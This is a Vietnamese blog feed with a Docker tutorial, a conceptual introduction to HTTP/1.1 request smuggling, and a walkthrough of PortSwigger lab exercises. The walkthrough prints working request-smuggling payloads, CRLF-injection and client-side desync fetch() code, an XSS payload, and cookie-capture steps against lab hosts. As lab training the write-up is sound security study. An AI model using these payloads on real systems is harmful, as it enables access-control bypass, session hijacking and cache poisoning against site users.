Nếu chúng ta build Dockerfile trên từ lần thứ 2 trở đi nó sẽ build nhanh hơn lần đầu tiên, bởi vì nó sử dụng lại layer đã build. Cái này liên quan đến docker cache. Mỗi layer riêng lẻ build ở trong mỗi lần build image, nó đều được ghi lại ở docker cache để sử dụng lại (riêng lẻ luôn chứ không phải sử dụng theo từng image).

Ví dụ:
Build image 1:

1
2
3
FROM ubuntu:20.04          # --> cache
RUN apt-get -y update      # --> cache
RUN apt-get install -y git # --> cache

Build image 2:

1
2
3
FROM ubuntu:20.04          # --> reuse
RUN apt-get -y update      # --> reuse
RUN apt-get install -y vim # --> Câu lệnh này khác và layer tương ứng với câu lệnh này chưa được tạo nên sẽ thực hiện tạo layer mới và đương nhiên sẽ cache lại.

Để không cache lại, chúng ta có thể sử dụng cờ --no-cache=true, mà cờ này hơi phế nhỉ, xài làm gì :).
docker build -t test . --no-cache=true

Câu lệnh COPY:

Dùng để copy file hay thư mục từ build context (nơi chứa Dockerfile và những file cần thiết) vào file hệ thống của container. Ví dụ:
Nội dung Dockerfile:

1
2
3
4
5
FROM ubuntu:20.04
RUN apt-get -y update
RUN apt-get install -y vim
COPY abc.txt /src/abc.txt
CMD ["cat", "/src/abc.txt"]

Cùng thư mục với Dockerfile, tạo một file abc.txt ghi nội dung gì đó để test~

1
2
3
docker build -t addfile .
> docker run addfile
abc.txt file ne

File abc.txt đã được copy vào thư mục src của container.

Câu lệnh ADD:

Câu lệnh này gần như tương tự với câu lệnh COPY, điểm khác ở đây là ADD không chỉ copy từ context mà còn có thể download từ internet và copy vào container.

1
ADD https://example.com/big.tar.xz /usr/src/things/

ADD cũng có thể tự động giải nén file được tại về với một vài định dạng được hỗ trợ.

Câu lệnh WORKDIR:

Câu lệnh này dùng để tạo folder chỉ định và truy cập đến folder đó. WORKDIR /app

Xây dựng Flask web đơn giản qua Dockerfile:

Python image: Python image là một image được xây dựng dựa trên base image là Alpine Linux. Trong Alpine Linux này người ta sẽ cài python compiler vào. Cái này là trả lời thắc mắc cho việc tại sao python là compile mà lại có workdir các kiểu ~

Đầu tiên tạo thư mục app. Trong thư mục này sẽ chứa Dockerfile và một thư mục khác chứa file app.py, đặt là app luôn cho dễ nhé.
File app.py:

1
2
3
4
5
6
7
8
9
from flask import Flask
app = Flask(__name__)

@app.route('/')
def hello_world():
        return 'hello world!'

if __name__ = '__main__':
        app.run(host = '0.0.0.0')

Nội dung Dockerfile:

1
2
3
4
5
FROM python:3.8-alpine
RUN pip install Flask==2.0.2
WORKDIR /app
COPY app /app
CMD ["python", "app.py"]

Build image: docker build -t flaskweb .
Chạy web: docker run -d -p 5000:5000 flaskweb
Bây giờ trên browser gõ http://localhost:5000 để truy cập web vừa chạy.

Container links cho phép các container tìm ra nhau và trao đổi thông tin một cách bảo mật với nhau.
Khi set up một cái link, chúng ta tạo ra một ống dẫn giữa source container và recipient container. Recipient container có thể truy cập, lấy dữ liệu và thêm dữ liệu từ source container.
Links được thành lập bằng cách sử dụng container name. Lợi ích của việc này là chúng ta có thể thấy một cách rõ ràng hơn, không cần phải thông qua localhost.
Ví dụ xây dựng một web app từ flask và redis (api để lưu trữ dữ liệu):

1
2
3
4
5
Cây thư mục như sau:
Dockerfile      
app       -------->app.py
               |
               --->templates----->index.html

index.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<html>

<head>
    <title>simple service</title>
</head>

<body>
    <form method="post">
        <input type="text" name="key" value={{ key }}>
        <input type="text" name="cache_value" value={{ cahe_value }}>
        <input type="submit" name="submit" value="load">
        <input type="submit" name="submit" value="save">
    </form>
</body>

</html>

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from flask import Flask, request, render_template
import redis
app = Flask(__name__)
default_key = '1'
cache = redis.StrictRedis(host='redis', port=6379, db=0)
cache.set(default_key, "one")

@app.route('/', methods=['GET', 'POST'])
def main():
    key = default_key
    if key in request.form:
        key = request.form['form']
    if request.method == 'POST' and request.form['submit'] == 'save':
        cache.set(key, request.form['cache_value'])
    cache_value = None
    if cache.get(key):
        cache_value=cache.get('key').decode('utf-8')
    return render_template('index.html', key=key, cache_value=cache_value)

if __name__ == '__main__':
    app.run(host='0.0.0.0')

Dockerfile

1
2
3
4
5
FROM python:3.8-alpine
RUN pip install Flask==2.0.2 redis==2.10.5
WORKDIR /app
COPY app /app
CMD ["python", "app.py"]

Pull và khởi chạy redis: docker run -d --name redis redis:3.2.0
Build image: docker build -t dockerapp:v0.1 .
Khởi chạy image và link với redis: docker run -d -p 5000:5000 --link redis dockerapp:v0.1

Docker compose

Các thuộc tín trong docker compose:

  • version: chỉ ra phiên bản docker-compose đã sử dụng.
  • services: thiết lập các services(containers) muốn cài đặt và chạy.
  • image: chỉ ra image được sử dụng trong lúc tạo ra container.
  • build: định nghĩa một môi trường xây dựng (build context) cho Docker image và các tham số liên quan đến quá trình xây dựng. Các trường con:
    • Nếu muốn chỉ rõ, ta có thể sử dụng đến trường con context
    • dockerfile: Xác định đường dẫn đến Dockerfile trong build context
  • ports: thiết lập ports chạy tại máy host và trong container.
  • restart: tự động khởi chạy khi container bị tắt.
  • environment: thiết lập biến môi trường ( thường sử dụng trong lúc config các thông số của db).
  • depends_on: chỉ ra sự phụ thuộc. Tức là services nào phải được cài đặt và chạy trước thì service được config tại đó mới được chạy.
  • volumes: dùng để mount hai thư mục trên host và container với nhau.

Cũng như ví dụ ở trên, thay vì chúng ta pull, build image rồi khởi chạy rườm rà. Chúng ta có thể viết một docker compose rồi khởi chạy chỉ với một câu lệnh docker-compose up.

Docker compose file cần tuân thủ nghiêm ngặt thụt lề, mỗi lần thụt là 2 khoảng trắng.

File name: docker-compose.yml

  • Dockerfile phải đặt chung với context của trường build (ở đây là .)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    version: '3'

    services:
      dockerapp:
        build: .
        ports:
          - "5000:5000"
        depends_on:
          - redis
      redis:
        image: redis:3.2.0
    Khởi chạy gõ docker-compose up hoặc thêm cờ -d docker-compose up -d để treo trong container.

Docker compose sẽ không build lại image nếu image đó đã tồn tại, vì vậy khi ta thay đổi một vài lệnh trong Dockerfile docker-compose vẫn lấy image cũ để thao tác.

Để build lại một image mới, chúng ta cần sử dụng lệnh docker-compose build.

]]> DevOps Docker Docker https://rayinaw.github.io/2022/12/03/docker-learning/#disqus_thread Portswigger HTTP Request smuggling https://rayinaw.github.io/2022/12/02/HRS-PortSwigger/ https://rayinaw.github.io/2022/12/02/HRS-PortSwigger/ Fri, 02 Dec 2022 15:22:15 GMT <h2 id="Portswigger-HTTP-Request-smuggling"><a href="#Portswigger-HTTP-Request-smuggling" class="headerlink" title="Portswigger: HTTP Reques Portswigger: HTTP Request smuggling:

HTTP request smuggling, basic CL.TE vulnerability

image

Yêu cầu: Làm cho server trả về lỗi “Unrecognized method GPOST”.
Gửi yêu cầu đầu tiên đến server:

1
2
3
4
5
6
7
8
9
10
11
POST / HTTP/1.1
Host: 0a7d003e03334d1dc24b5a4f002f0071.web-security-academy.net
Connection: close
Content-Length: 10
Transfer-Encoding: chunked

3
aaa
0

G

Sau đó gửi một yêu cầu bình thường và lỗi sẽ triggered.

1
2
3
POST / HTTP/1.1
Host: 0a7d003e03334d1dc24b5a4f002f0071.web-security-academy.net
Connection: close
imageimage

HTTP request smuggling, basic TE.CL vulnerability

Cũng là kích hoạt lỗi “Unrecognized method GPOST”. Back-end không hỗ trợ chunked encoding nên sẽ là dạng TE.CL

Uncheck update Content-Length:
image

Gửi yêu cầu sau đến server sau đó gửi một request tùy ý.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST / HTTP/1.1
Host: 0aa800e204010a8f810e48bf008000ff.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Connection: Keep-Alive
Content-Length: 4
Transfer-Encoding: chunked

5d
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

aaaa
0


imageimage

Giải thích:

  • Một yêu cầu POST sẽ hợp lệ nếu có trường Content-Type hoặc Content-Length hoặc Transfer-Encoding, ở đây mình thêm trường Content-Type: application/x-www-form-urlencoded để tránh đôi khi có lỗi nó không xét 2 cái kia, không thêm cũng được không quan trọng.
  • Ở đây như đề bài nói máy chủ back-end không hỗ trợ Transfer-Encoding: chunked nên chúng ta có thể để máy chủ front-end phân tích Transfer-Encoding: chunked và để cho máy chủ back-end phân tích Content-Length.
  • 5d hex = 93 decimal = dòng 1 + \r\n + d2 + \r\n +d3 +\r\n + d4 + \r\n + aaaa
  • Kết thúc chuỗi là số 0 và xuống dòng để máy chủ front-end phân tích Transfer-Encoding: chunked hợp lệ.
  • Sau khi máy chủ front-end phân tích, nó thõa mãn và gửi đến back-end. Máy chủ back-end chỉ phân tích trường Content-Length và ở đây chỉ bằng 4 và bằng 5d + \r + \n nên phần còn lại sẽ là một yêu cầu mới.
    1
    2
    3
    4
    5
    6
    GPOST / HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 15

    aaaa
    0
  • Bây giờ nếu chúng ta gửi tiếp một yêu cầu nữa cùng chung một connection TCP nó sẽ trigger lỗi Unrecognized method GPOST. Và để được như vậy thì chúng ta cần set thêm trường Connection: Keep-Alive hoặc Connection: Pipelining tuy nhiên với HTTP/1.1 thì Connection: Keep-Alive luôn được bật trừ khi máy chủ set là close nên chúng ta cũng không cần thiết thêm vào (thêm cho chắc :P).

HTTP request smuggling, obfuscating the TE header

Ở đây ta sẽ gửi một cái TE hợp lệ và một cái TE không hợp lệ để obfuscate server. Gửi 2 lần yêu cầu sau để trigger lỗi.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST / HTTP/1.1
Host: 0a4c0057043adfc481d61c2b00c90078.web-security-academy.net
Connection: Keep-Alive
Content-length: 4
Transfer-Encoding: chunked
Transfer-Encoding: xxx

5d
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

aaaa
0


image

HTTP request smuggling, confirming a CL.TE vulnerability via differential responses

Bài này front-end chỉ xử lý Content-Length –> CL.TE (chưa chắc nma theo đề thì z).
Yêu cầu là đính chính lại nó dính lỗi CL.TE bằng cách để yêu cầu thứ 2 là một yêu cầu trả về lỗi 404 not found.

Ở phần thứ 2 của request, ta có 2 cách để tạo một request hợp lệ:

  • Gửi một POST request, khi đó nếu có request khác gửi đến thì nó sẽ gắn vào phần body –> không bị lỗi 400
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    POST / HTTP/1.1
    Host: 0a72005104370d94c026137d00880058.web-security-academy.net
    Connection: close
    Transfer-Encoding: chunked
    Content-Length: 96

    0

    POST /aaa HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 15


  • Cách 2 là sử dụng X-Ignore: abc, khi này phần sau request sẽ được gắn vào trường X-Ignore header và không gây ra lỗi 400.
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    POST / HTTP/1.1
    Host: YOUR-LAB-ID.web-security-academy.net
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 35
    Transfer-Encoding: chunked

    0

    GET /404 HTTP/1.1
    X-Ignore: X

Gửi request với payload trên, sau đó gửi một request bất kỳ để solve lab.

imageimage

HTTP request smuggling, confirming a TE.CL vulnerability via differential responses

  • Back-end server doesn’t support chunked encoding
  • Triggering 404 Not Found response

Gửi 2 lần request sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST / HTTP/1.1
Host: 0ab5007903cff13dc0551c8b0038003d.web-security-academy.net
Connection: Pipelining
Transfer-Encoding: chunked
Content-Length: 4

5F
POST /aaa HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

aaaa
0


Exploiting HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability

Gửi 2 lần request sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST / HTTP/1.1
Host: 0a33008a039b2e88c01e9186008400ec.web-security-academy.net
Connection: Pipelining
Transfer-Encoding: chunked
Content-Length: 107

0

POST /admin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

aaaa


Kết quả trả về là Admin interface only available to local users, vậy là chúng ta cần truy cập đến admin page với host là localhost. Vì hiện tại server sẽ mặc định set cho ta host là 0a33008a039b2e88c01e9186008400ec.web-security-academy.net

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST / HTTP/1.1
Host: 0a33008a039b2e88c01e9186008400ec.web-security-academy.net
Connection: Pipelining
Transfer-Encoding: chunked
Content-Length: 124

0

POST /admin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: localhost
Content-Length: 100

aaaa


Payload cuối cùng:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST / HTTP/1.1
Host: 0a33008a039b2e88c01e9186008400ec.web-security-academy.net
Connection: Pipelining
Transfer-Encoding: chunked
Content-Length: 124

0

POST /admin/delete?username=carlos HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: localhost
Content-Length: 100

aaaa


Exploiting HTTP request smuggling to bypass front-end security controls, TE.CL vulnerability

image

back-end server doesn’t support chunked encoding nên chúng ta có thể nghĩ đến TE.CL

Gửi 2 lần request sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST / HTTP/1.1
Host: 0ad9007b0481dacfc155c02800b5002d.web-security-academy.net
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Length: 4

62
POST /admin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

aaaa
0


image

Phản hồi thứ 2 trả về Admin interface only available to local users, để bypass ta có thể thử thêm trường Host: localhost

Gửi 2 lần request sau để solve lab này.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST / HTTP/1.1
Host: 0a4800ce048b085f8658a298003e0031.web-security-academy.net
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Length: 4

8A
POST /admin/delete?username=carlos HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: localhost
Content-Length: 100

aaaa
0


imageimageimage

Exploiting HTTP request smuggling to reveal front-end request rewriting

Front-end server doesn’t support chunked encoding –> ý tưởng là CL.TE

  • Bài này tác giả bảo là có trường set IP cho client tương tự như X-Forwarded-For nên mình đã nghĩ đến X-Real-IP tuy nhiên gửi mãi không thấy kết quả gì. Hóa ra ý tác giả muốn bảo ở đây là thằng X-*-IP phần trong dấu * có thể tùy ý nên chúng ta cần tìm phần này. Để tìm được điều này chúng ta cần lợi dụng trường search.

Gửi 2 lần yêu cầu sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST / HTTP/1.1
Host: 0abe003e032e7439c04debfe00e5002f.web-security-academy.net
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Length: 150

0

POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
X-Real-IP: 127.0.0.1
Connection: close

search=test


Phần yêu cầu sau sẽ được gắn vào sau thằng test và mình có thể thấy được nhờ trường search. Kết quả trả về như sau:

1
0 search results for 'test GET / HTTP/1.1 X-wvIzjI-Ip: 113.161.69.230 Host: 0abe003e032e7439c04debfe00e5002f.w'

X-*-Ip mỗi người mỗi khác nên các bạn phải tự tìm lấy nhé.

Sau khi biết được cái này rồi thì rất đơn giản, chúng ta chỉ cần set IP là 127.0.0.1 để truy cập vào admin panel.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST / HTTP/1.1
Host: 0abe003e032e7439c04debfe00e5002f.web-security-academy.net
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Length: 167

0

POST /admin/delete?username=carlos HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
X-wvIzjI-Ip: 127.0.0.1
Connection: close


Exploiting HTTP request smuggling to capture other user’s requests

  • Lab này là dạng CL.TE
  • Tác giả có lập trình sẵn là khi chúng ta gửi một request thì máy chủ sẽ tự động gửi 1 resquest. Request này sẽ đóng vai trò như nạn nhân để chúng ta lấy cắp cookie và đăng nhập vào tài khoản này.
  • Ở đây để lấy cắp cookie chúng ta sẽ ghi request của nạn nhân vào form comment.

Request như sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST / HTTP/1.1
Host: 0ad0007403ec1053c2015e9900e300b9.web-security-academy.net
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Length: 335

0

POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 804
Connection: close
Cookie: session=bZxircTfhYYqDgnrRYKm0ZjKa9oBG0Ro; session=DZgoQAy5RcbsrSl2ZqZy8sBOvzS9wv68

csrf=KEAZJ4zHTUNek88CIDaZ0bTgQTE6hLbf&postId=8&name=aaaaa&email=abcd@gmail.com&website=http://aaa.com&comment=aaaa


Kết quả ở comment của trang https://0ad0007403ec1053c2015e9900e300b9.web-security-academy.net/post?postId=8:

1
aaaa GET / HTTP/1.1 Host: 0ad0007403ec1053c2015e9900e300b9.web-security-academy.net Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.121 Safari/537.36 Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US Cookie: victim-fingerprint=QVLNvEkz9U7FdHW1wG2VdkdjIlDHF2kw; secret=C8IQNP3JH0lVCJBAOGIAkgEOTM5UoNVp; session=A78w3rNuBBu22CGzS1IoyuLB821Yeeof

Có được cookie rồi chúng ta sẽ sử dụng nó để đăng nhập:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /login HTTP/1.1
Host: 0ad0007403ec1053c2015e9900e300b9.web-security-academy.net
Cookie: ictim-fingerprint=QVLNvEkz9U7FdHW1wG2VdkdjIlDHF2kw; secret=C8IQNP3JH0lVCJBAOGIAkgEOTM5UoNVp; session=A78w3rNuBBu22CGzS1IoyuLB821Yeeof
Content-Length: 72
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://0ad0007403ec1053c2015e9900e300b9.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0ad0007403ec1053c2015e9900e300b9.web-security-academy.net/login
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

csrf=KEAZJ4zHTUNek88CIDaZ0bTgQTE6hLbf&username=admin&password=%C3%A1dhfj

Exploiting HTTP request smuggling to deliver reflected XSS

Đầu tiên zô trang /post?postId=7 để tìm cách trigger xss thông qua trường User-Agent.

image

Payload xss: User-Agent: aaa"><script>alert(1)</script>

Sau đó gửi request này để nạn nhân truy cập vào trang web sẽ bị trigger xss: 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST / HTTP/1.1
Host: 0a91008204610813c02904da008000b8.web-security-academy.net
Connection: Keep-Alive
Content-Length: 158
Transfer-Encoding: chunked

0

GET /post?postId=7 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 200
User-Agent: aaa"><script>alert(1)</script>

aaaa

CL.0 request smuggling

image
1
2
3
4
5
6
7
8
POST /resources/images/blog.svg HTTP/1.1
Host: 0a3900610359a76482be1174009f008e.web-security-academy.net
Cookie: session=sIt0cbIhl02c97aPZzm1sZ49X7QOwWeP
Connection: keep-alive
Content-Length: 50

GET /admin/delete?username=carlos HTTP/1.1
x: abc
image

H2.CL

Test H2.CL, ta trigger được HRS với payload sau (Nhớ uncheck update content length):

1
2
3
4
5
6
7
POST / HTTP/2
Host: 0a1800ed04ab0887879e2eb3009a0029.web-security-academy.net
Content-Length: 4

aaaaGET /abc HTTP/1.1
Host: 0a1800ed04ab0887879e2eb3009a0029.web-security-academy.net
Foo: Bar
image

Khi request tới resource, ta thấy nó được chuyển hướng đến location như sau:

image

Thử sử dụng Host header để thay đổi location:

imageimage

Trong mã html, ta thấy nó có những thẻ script nhập mã js từ bên ngoài, vậy nếu ta giả mạo yêu cầu đúng lúc browser nhập mã js về thì ta có thể để browser nhập mã js chứa payload xss.

imageimage

Gửi một vài lần để bot truy cập và thời điểm browser của bot import mã js thì nó nhập mã js của ta.

imageimage

HTTP/2 request smuggling via CRLF injection

Thêm header foo: bar rồi chèn thêm CRLF và TE, trong body thêm giá trị tùy ý ta trigger được 404 not found
image

image

Ở trong trang search, ta thấy nó lưu lại lịch sử search của người dùng.

imageimage

Lợi dụng tính năng này để đánh cắp cookie của người dùng:
image

image

Gửi và đợi tầm 10s để bot truy cập:

imageimage

HTTP/2 request splitting via CRLF injection

Gửi request này 2 lần, ta trigger được 404 not found:
image

Chỉ với CRLF, ta có thể cắt request thành nhiều request khác nhau. Vậy bây giờ ta chỉ cần áp dụng kĩ thuật Response queue poisoning:

image

  • Ta sẽ queue request smuggle (request 2), sau khi người dùng request 3, server sẽ thực hiện và trả về response của request 2 cho phía nạn nhân và queue lại request 3.
  • Bây giờ ta chỉ cần gửi request 4 thì ta sẽ nhận được response từ request 3 của người dùng.

Sau một hồi không queue được, mình thử fix lại payload để server tự thêm \r\n thì mình đã bắt được request của admin:

image

Truy cập admin panel và delete user carlos:

imageimage

Response queue poisoning via H2.TE request smuggling

Front-end server doesn’t support chunked encoding. The front-end server is configured to cache certain responses.

Vậy ta sẽ sử dụng kĩ thuật CL-TE ở đây, kết hợp với cache poisoning.

imageimage

Trigger được 404 not found với payload sau:

image

Bypass double Host header:
image

image

Bây giờ ta cần tìm một sink để có thể chuyển hướng về trang chứa script xss, ở tính năng next post ta có thể redirect:

image

Ở phía server, yêu cầu sẽ không bị phụ thuộc vào trường host, nên dù có hay không thì nó vẫn request đến đúng địa chỉ server.

imageimageimageimageimageimage

Exploiting HTTP request smuggling to perform web cache deception

image

=> CL.TE

image

Trang web có thực hiện caching các file thường đa số người dùng đều nhập giống nhau như blog.svg hay tracking.js:
image
image

Vậy bây giờ ta smuggle các request nhập blog.svg hay tracking.js thì ta có thể truy xuất api key từ kết quả trả về được smuggle và lưu vào cache tương ứng với các file này.

Như ở đây, mình thực hiện smuggling request đến my account. Bây giờ request trả về ở những file khi bot request là response 302, nên gửi kiểu gì nó cũng trả về:
image

Vậy bây giờ chỉ cần cầu may cho bot request đúng lúc, ta có thể double cơ hội thành công bằng cách check cache của 2 file blog.svg và tracking.js
image

image

Kết quả:
image

Bypassing access controls via HTTP/2 request tunnelling

Connection timeout có nghĩa ta đã giả được host.
image

image

Request được downgrade trông như sau:

1
2
3
4
5
6
7
8
9
10
11
POST / HTTP/1.1
Foo: bar
Host: abc
Content-Length: 200

search=x
some-internal-header: xxx
Host: abc
Content-length: 7

foo=bar

image

image
image
image
image
image
image

Client-side desync

Request đến / sẽ được redirect đến /en:

image

Gửi 2 request với chung connection ta được trả về 2 response:

image

Nếu ta thực hiện gửi trong browser với request 2 là một request bất kỳ thì response 2 do request /404 sẽ trả về ở request 2.
image

Test trên browser:

1
2
3
4
5
6
7
8
9
10
11
fetch('https://0acd00850382348282f40b8800320096.h1-web-security-academy.net', {
  method: 'POST',
  body: 'GET /404 HTTP/1.1\r\na: x',
  mode: 'cors',
  credentials: 'include'
}).catch(() => {
        fetch('https://0acd00850382348282f40b8800320096.h1-web-security-academy.net', {
        mode: 'no-cors',
        credentials: 'include'
    })
})

image

Browser chỉ trả về mỗi response cho mỗi request, do đó ta chưa thấy 404 ở đây.

image

Tuy nhiên nếu ta gửi tiếp một yêu cầu nữa thì 404 trả về cho fetch thứ 2:

image
image

Test với request comment:

1
2
3
4
5
6
7
8
9
10
11
fetch('https://0ad0005104751f1180db490d002d0023.h1-web-security-academy.net', {
  method: 'POST',
  body: 'POST /en/post/comment HTTP/1.1\r\nHost: 0ad0005104751f1180db490d002d0023.h1-web-security-academy.net\r\nCookie: session=RbiCFsRMKOANwQDqEBbH7J4Px0hw8Hpd; _lab_analytics=RXgpmFuGrXRwxeCPhqtzXcoPdTECdBr2TXfCUncCwVUGN5ock8H3FVR8PwpPguRzjZ7DZuQRi5dVaaO06abvpuXbi4qBOPWyM31HPPwFuzpmCWlWu4UtIlXZs9PM9cGtfL4n11wMuNUYOwnASLatFxzmNcx9BFLwllanIw1OvtxweZ3qQVUfJNmwtxJ1BnaH4bsYIs780ucZE5FiHdpROtCulXJzmEUERnUTD4bR4Eeb4njCNWUYlkHKE6DiiFix\r\nContent-Length: 700\r\nContent-Type: application/x-www-form-urlencoded\r\nConnection: keep-alive\r\n\r\ncsrf=9FHBQE0Og5LLEGNcV4yJTV1QhSRYz9sY&postId=8&name=a&email=a%40a&website=http%3A%2F%2Fa&comment=',
  mode: 'cors',
  credentials: 'include'
}).catch(() => {
        fetch('https://0ad0005104751f1180db490d002d0023.h1-web-security-academy.net/', {
        mode: 'no-cors',
        credentials: 'include'
    })
})

Bắt được thành công request thứ 3.

image

image

image

image
alt text

image
image
image

Response queue poisoning via H2.TE request smuggling

Server queue response nên ta có thể capture được response mà admin login trả về, từ đó lấy cookie của admin.

image

image

image

image

]]> HTTP Request Smuggling Portswigger HRS Portswigger https://rayinaw.github.io/2022/12/02/HRS-PortSwigger/#disqus_thread Khái niệm cơ bản về HTTP request smuggling với HTTP/1.1 https://rayinaw.github.io/2022/11/30/http-request-smuggling-HTTP-1.1/ https://rayinaw.github.io/2022/11/30/http-request-smuggling-HTTP-1.1/ Wed, 30 Nov 2022 03:36:10 GMT <h1 id="Loi-noi-dau"><a href="#Loi-noi-dau" class="headerlink" title="Lời nói đầu:"></a>Lời nói đầu:</h1><p>Bài viết này là về khái niệm và Lời nói đầu:

Bài viết này là về khái niệm và cách HRS xảy ra đối với HTTP/1.1, với HTTP/2.0 và thực hành các bạn có thể xem ở bài viết sau.

Một vài kiến thức cần nắm:

Keep-Alive và Pipelining:

Keep-Alive và Pipelining được giới thiệu trong RFC-2616:
Keep-Alive cho phép một kết nối TCP giữa Client và Server được tiếp tục gửi và nhận HTTP requests và responses thay vì mở lại kết nối sau mỗi lần Client yêu cầu. Theo như mình thấy thì một số server sẽ set out timeout cho một kết nối keep-alive, sau khi user 1 yêu cầu đến server và server gửi response về, kết nối vẫn được mở và user khác có thể sử dụng kết nối này. Để bật mode Keep-Alive chúng ta cần thêm trường Connection: Keep-Alive vào request.

Pipelining cho phép client gửi nhiều yêu cầu HTTP một lúc mà không cần đợi phản hồi của server thông qua một kết nối TCP được mở, server sẽ phản hồi theo thứ tự mà request được gửi đi. Để bật mode Pipeline chúng ta cần thêm trường Connection: Pipelining vào request.

Content-Length và Transfer-Encoding:

Content-Length:

Đối với một yêu cầu POST, bắt buộc phải có 1 hoặc hơn trong 3 phương thức Content-Length, Transfer-Encoding, Content-Type và đương nhiên nó phải đúng định dạng.

Content-Length đề cập đến kích thước phần body của một yêu cầu HTTP tính bằng byte. Nếu một tệp văn bản được nén, thì Content-Length của nó sẽ là kích thước được nén. Tiêu đề Content-Length chỉ có ở POST request vì nó có trường nội dung còn GET request thì không.

Transfer-Encoding:

Transfer-Encoding chỉ ra kiểu truyền tải nào được sử dụng để truyền tải nội dung(phần body). Transfer-Encoding có nhiều kiểu truyền tải, nhưng với lỗi HRS chúng ta chỉ cần chú ý đến phương thức Transfer-Encoding: chunked.

Với Transfer-Encoding: chunked Dữ liệu body sẽ được truyền theo từng khối. Bắt đầu bởi một số hex biểu thị số byte của nội dung đầu tiên, tiếp theo sau là data. Tiếp đến là lần lượt những đoạn hex, data như vậy. Để kết thúc nội dung byte cuối cùng sẽ là 0 và theo sau là \r\n. Một \r\n được gọi là một CRLF, độ dài không bao gồm CRLF. Ví dụ:

1
2
3
4
5
6
7
8
9
10
11
Nguồn wiki.
4\r\n        (bytes to send)
Wiki\r\n     (data)
6\r\n        (bytes to send)
pedia \r\n   (data)
E\r\n        (bytes to send)
in \r\n
\r\n
chunks.\r\n  (data)
0\r\n        (final byte - 0)
\r\n         (end message)

Ở phương thức Transfer-Encoding chúng ta cần nắm cách đếm byte:

  • Nếu dữ liệu trên 1 dòng thì không cần đếm \r\n sau nó.
  • Nếu dữ liệu nhiều dòng như dòng E\r\n (bytes to send) ở trên thì chúng ta cần đếm hết kể cả \r \n (lưu ý \r hay \n chỉ tính là 1 byte), ở dòng cuối cùng của khối data này có \r\n chúng ta sẽ không đếm nó vào.
  • Sau đó chuyển độ dài thành số hex tương ứng.

    Tham khảo thêm về Content-Length và Transfer-Encoding ở RFC-7230.

Reverse proxy:

Reverse Proxy là một loại proxy server, nó đóng vai trò là một server trung gian. Nó tiếp nhận yêu cầu từ user, rồi chuyển tiếp đến các máy chủ khác xử lý yêu cầu đó rồi trả về cho người dùng. Người dùng ở đây chỉ giao tiếp với reverse proxy server mà không biết về sự tồn tại của máy chủ khác.
Cấu trúc của một request từ user đến một máy chủ có tồn tại reverse proxy như sau:

  • user — request —> reverse proxy — request—> back-end server

  • user <— response — reverse proxy <— response — back-end server

Khái niệm web cache:

